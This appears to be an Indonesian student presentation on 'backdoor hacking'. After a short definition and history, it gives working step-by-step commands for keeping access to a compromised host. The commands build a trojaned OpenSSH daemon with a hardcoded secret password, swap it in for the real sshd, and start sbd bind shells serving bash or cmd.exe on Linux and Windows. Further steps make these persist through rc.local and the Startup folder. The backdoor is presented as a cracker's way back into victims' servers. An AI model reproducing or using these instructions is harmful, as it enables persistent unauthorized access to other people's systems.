Backdoor Hacking

Amellia Aquariesta (7405.040.001)

Abi Sugeng Ariyanto (7405.040.011)

Apa Itu Backdoor ? Backdoor atau "pintu belakang", dalam

keamanan sistem komputer, merujuk kepada mekanisme yang dapat digunakan untuk mengakses sistem, aplikasi, atau jaringan, selain dari mekanisme yang umum digunakan (melalui proses logon atau proses autentikasi lainnya). (Wikipedia)

Latar Belakang Backdoor pada awalnya dibuat oleh para

programer komputer sebagai mekanisme yang mengizinkan mereka untuk memperoleh akses khusus ke dalam program mereka, seringnya digunakan untuk membenarkan dan memperbaiki kode di dalam program yang mereka buat ketika sebuah crash akibat bug terjadi.

Latar Belakang Kenneth Thompson (salah seorang

pemrogram sistem operasi UNIX membuat sebuah program proses login pada tahun 1983 ketika memperoleh Turing Award), selain program login umum digunakan dalam sistem operasi UNIX dengan menggunakan bahasa pemrograman C, sehingga ia dapat mengakses sistem UNIX yang berjalan di dalam jaringan internal Bell Labs.

Backdoor dalam Hacker Backdoor dalam dunia hacker memiliki arti

mebuat pintu belakang apabila akan meninggalkan host yang sudah dimasuki. pintu ini berupa password login. Backdoor ini berguna apabila cracker ingin kembali ke host / server tersebut, karena apabila password root atau admin telah diganti, kita masih bisa masuk menggunakan password backdoor yang telah dipasang.

Toolbackdoor sshbd sdb

SSHBD Instalasi sshbd asumsi ini setelah kita masuk host target. Extrak file

sshbd.tgz. Edit file version.h Ubah password backdoor sesuai keinginan anda

dengan melakukan pengeditan pada file includes.h #define _SECRET_PASSWD "asdfg123" Setelah semua beres, mulai lakukan installasi misal

sebagai berikut : (Hanya SEMISAL SAJA, gunakan kreatifitas anda oke!!)

#define SSH_VERSION "OpenSSH_4.2"

SSHBD [root@target]#./configure --prefix=/usr/local/sshd/ (Tunggu

sampai selesai) [root@target]#make;make install (Tunggu sampai selesai) [root@target]#ps -axu|grep /sbin/sshd Warning: bad ps syntax, perhaps a bogus ‘-’? See

http://procps.sf.net/faq.html root 3380 0.0 0.6 4272 1576 ? Ss 13:15 0:00 /usr/sbin/sshd root 4903 0.0 0.2 2032 664 pts/5 S+ 16:56 0:00 grep

/sbin/sshd [root@target]#kill -9 3380;mv /usr/sbin/sshd . [root@target]#cp /usr/local/sshd/sbin/sshd /usr/sbin/sshd [root@target]#chmod +x /usr/sbin/sshd;kill -HUP `cat

/var/run/sshd.pid`

SSHBD Selesai installasi, sekarang coba anda login dari box

anda ke box backdoor dengan [root@aku]#ssh root@xxx.xxx.xxx.xxx (Ini adalah IP

box backdoor) password : <enter> blablabla [root@target]#

Password diatas diisikan password backdoor yang diisikan

SBD di Linux --1 Membuat backdoor di LINUX

Extract sbd-1.37 (tar –xzvf….) make unix ./sdb –l –p <port> -e bash –v –ro –Don Buat file utk menjalankan backdoor, agar backdoor

tetap bisa aktif meskipun komputer korban di restart. Contoh filenya : xx.pl:

#!/bin/bashcd /root/backdoor/sbd-1.37/

(tempat sbd-137 diextract)./sbd -l -p 123 -e bash -Don -v -r0

copy-kan isi file xx.pl isi ke /etc/rc.local

SBD di Windows --1 Membuat backdoor di Windows

make cygwin copy paket sbd.exe sdb -l -p <nmr port> -e cmd.exe -v -ro Buat file utk menjalankan backdoor, agar backdoor tetap bisa

aktif meskipun komputer korban di restart. Contoh filenya : xx.bat:@echo offcd.. //asumsi paket sbd ada pd C:cd..sbd -l -p 241 -e cmd.exe -v -roexit

Taruh file xx.bat di startup

SBD Menghack lewat Linux dan Windows

sbd –v <ip_korban> <port>